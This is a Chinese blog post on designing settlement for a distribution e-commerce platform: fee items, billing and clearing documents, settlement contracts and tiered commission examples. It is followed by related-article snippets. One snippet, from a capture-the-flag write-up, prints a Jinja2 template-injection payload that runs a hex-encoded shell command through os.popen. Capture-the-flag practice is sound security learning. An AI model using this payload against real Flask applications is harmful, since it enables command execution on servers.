分销电商结算设计

概述

分销电商中涉及支付与结算;支付职责是收钱,结算则是出钱给各利益方

结算核心围绕业务模式涉及哪些费用,以及这些费用什么时候通过什么出资渠道,给到收方利益方

结算要素组成=费用项+结算周期+出资渠道+出方&收方;整体设计也是围绕这4大要素进行设计;

涉众分析

用例

模型

从命令事件中分析出有合同,费用项,计费单,结算单实体;

领域模型

收单单据:面向交易域:接收确认收货消息以便后续的结算处理;保证后续有据可依;

计费单:交易单对应费用项具体计费结果及中间计算过程存储;计费单是最细的费用明细,如酒店业务平台抽佣包含了服务费及平台费,这个财务视角需要关注;

清算单据:定义商家视角下后续结算给利益方的费用项;多个计费单可合成一个清算单,如酒店业务服务费及平台费合成平台抽佣;如平台模式下有:平台抽佣及商家货款;核心包含费用项及金额;

结算单据:记载某个费用项&结算双方&什么周期进行结算;结算单是对于费用项增加结算出资及收入方以及周期结算的叠加信息;

打款单:实际处理结算单据最终以什么出资渠道工具进行出资;

结算合约:定义商家什么时间点签证了结算合同及合同有效期

结算条款:定义费用项&商家&收付结算账号&以什么周期结算条款;条款挂在合约下

费用项定义某个业务的业务模式下具体费用类型计算方法;这个是业务下固定的费用项,由运营设置;如电商电器业务的平台模式下,业务运营设置平台抽佣费用项,计算方法是交易金额*佣金比率;

费用项因子:记录费用项涉及计算因子;如平台抽佣=结算基数*佣金比率,这里的结算基数及佣金比率就是因子;

费用项实例:定义某个商家对应合同上定义的费用项具体实现费率;费用项实例明细则用于承载阶段费用模式下具体费用明细;

模型推演

  • 电器平台抽佣

        运营定义费用项:平台抽佣及商家货款;平台抽佣=结算基数*佣金比例;商家货款=结算基数-平台抽佣;

        定义费用项因子:结算基数因子,具体这里可以写插件服务地址;佣金比例也可以填写插件地址;平台抽佣写计费抽件地址;

        商家入驻

                1、生成结算合约记录:内容是商家id&生效开始及结束时间&状态;

                2、生成结算合约条款记录:内容是对应费用项实例及费用项明细;

                        费用项实例包含:费用类型为平台抽佣,费用计算类型为固定比例,计算表达式:结算基数*佣金比例,条件表达式:渠道=*(即全部渠道);

                        费用项实例明细包含:计算表达式值:结算基数*0.9;条件表达式值:渠道=*(即全部渠道);

  • 电器阶梯平台抽佣

            运营定义费用项:平台抽佣及商家货款;平台抽佣=结算基数*佣金比例,计费方式为阶梯计费;商家货款=结算基数-平台抽佣;

            定义费用项因子:结算基数因子,具体这里可以写插件服务地址;佣金比例也可以填写插件地址;平台抽佣写计费抽件地址;商家交易GMV因子:写计费实现地址;

            商家入驻

                    1、生成结算合约记录:内容是商家id&生效开始及结束时间&状态;

                    2、生成结算合约条款记录:内容是对应费用项实例及费用项明细;

                            费用项实例包含:费用类型为平台抽佣,计费方式为阶梯比例,计算表达式:结算基数*佣金比例,条件表达式:渠道=*(即全部渠道);

                            费用项实例明细阶梯1:计算表达式值:结算基数*0.9;条件表达式值:渠道=*(即全部渠道) and 商家交易GMV>=0 and 商家交易GMV<100000;

                            费用项实例明细阶梯2: 计算表达式值:结算基数*1.5;条件表达式值:渠道=*(即全部渠道) and 商家交易GMV>=100000 and 商家交易GMV;

逻辑架构

领域划分:收单域,计费域,清算域,结算域,财务域及合约域;

收单域职责:与业务方交互接收业务结算事件,核心记录结算事件后期有据可依;

计费域:管理结算费用项&提供费用项计费能力;每个业务独立定义计费插件;通用计费插件可复用;定义通用因子,不同业务可定制;费用项是最细粒度明细;如酒店抽佣包含了服务费&平台费用;计费项的业务视角是财务;

清算域:核心记载收付方对应后续要结的费用项及费用值;与计费实体是一对多关系;如服务费&平台费用会合到统一的平台抽佣;清算的业务视角是商户;

结算域:1、核心记载对应订单涉及的费用要以什么周期结给相关利益方,这个实体是结算单;2、记录以什么出资渠道进行打款,这个实体是打款单;抽出2个实体的原因在于结算单更多关注费用项周期特性及是否合并结算特性扩展;打款单则关注以什么渠道进行出资,扩展维度也是出资渠道;

合约域:定义商户入驻业务后涉及费用项各方收付款账号,结算周期;

物理架构

结算流程

概要流程

详细流程

            

        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/263120.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从线性回归到神经网络

一、线性回归关键思想 1、线性模型 2、基础优化算法 二、线性回归的从零开始实现 在了解线性回归的关键思想之后&#xff0c;我们可以开始通过代码来动手实现线性回归了。在这一节中&#xff0c;我们将从零开始实现整个方法&#xff0c;包括数据流水线、模型、损失函数和小批量…

node.js安装和配置

软件介绍 Node.js是一个免费的、开源的、跨平台的JavaScript运行时环境&#xff0c;允许开发人员在浏览器之外编写命令行工具和服务器端脚本。 Node.js是一个基于Chrome JavaScript运行时建立的一个平台。 Node.js是一个事件驱动I/O服务端JavaScript环境&#xff0c;基于Googl…

卷王开启验证码后无法登陆问题解决

问题描述 使用 docker 部署&#xff0c;后台设置开启验证&#xff0c;重启服务器之后&#xff0c;docker重启&#xff0c;再次访问系统&#xff0c;验证码获取失败&#xff0c;导致无法进行验证&#xff0c;也就无法登陆系统。 如果不了解卷王的&#xff0c;可以去官网看下。…

资深老鸟整理,Java接口自动化测试总结,从0到1自动化...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 这几年接口自动化…

大猿人中控充值系统源码/大猿人搭建教程/支持代理分销、API接口、公众号等功能

前言 大猿人中控系统目前是市面上用的最多的电话费充值中控系统&#xff0c;支持代理分销、公众号H5、API接口对接等功能&#xff0c;也是目前最完善的一款中控系统。 综合来讲&#xff0c;大猿人中控系统功能比较强大&#xff0c;适合管理下级和提供充值服务&#xff0c;也自…

LeetCode Hot100 207.课程表

题目&#xff1a; 你这个学期必须选修 numCourses 门课程&#xff0c;记为 0 到 numCourses - 1 。 在选修某些课程之前需要一些先修课程。 先修课程按数组 prerequisites 给出&#xff0c;其中 prerequisites[i] [ai, bi] &#xff0c;表示如果要学习课程 ai 则 必须 先学习…

【完整项目】双模式答题卡识别软件中YOLO模式的训练部分详解,包括训练填涂区域和手写准考证号,手把手详细教学,可延申拓展训练其他图像数据

目录 前言1. 数据准备2. 数据标注3. 先跑起来Windows下用本地的CPU或GPU训练本地Windows系统连接服务器训练前言 前文:【完整项目】基于Python+Tkinter+OpenCV+Yolo+手写OCR的双模式答题卡识别软件的设计与实现 如果你需要训练自己的答题卡模型,那么请先看上面的文章链接。…

架构师篇 DDD领域驱动设计篇2

一 DDD所包含的划分逻辑 1.1 DDD领域划分 在DDD中可以分为战略设计和战术设计&#xff0c;各自包含的内容如下图所示&#xff1a; 1.2 战略设计 战略设计指的是对整个领域进行分析和规划&#xff0c;确定领域中的概念、业务规则和领域边界等基础性问题。在战略设计中&#x…

0基础学java-day14-(集合)

一、集合 前面我们保存多个数据使用的是数组&#xff0c;那么数组有不足的地方&#xff0c;我们分析一下 1.数组 2 集合 数据类型也可以不一样 3.集合的框架体系 Java 的集合类很多&#xff0c;主要分为两大类&#xff0c;如图 &#xff1a;[背下来] package com.hspedu.c…

大话数据结构-查找-多路查找树

注&#xff1a;本文同步发布于稀土掘金。 7 多路查找树 多路查找树&#xff08;multi-way search tree&#xff09;&#xff0c;其每个结点的孩子可以多于两个&#xff0c;且每一个结点处可以存储多个元素。由于它是查找树&#xff0c;所有元素之间存在某种特定的排序关系。 …

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

期末速成数据库极简版【查询】(3)

目录 多表查询 【8】多表连接——内连接 &#x1f642;等值连接 &#x1f642;自然连接 &#x1f642;非等值连接 【9】多表连接——外连接 【10】交叉连接不考 【11】联合查询 【12】扩展多表连接 【13】嵌套查询 &#x1f642; 多表查询 【8】多表连接——内连…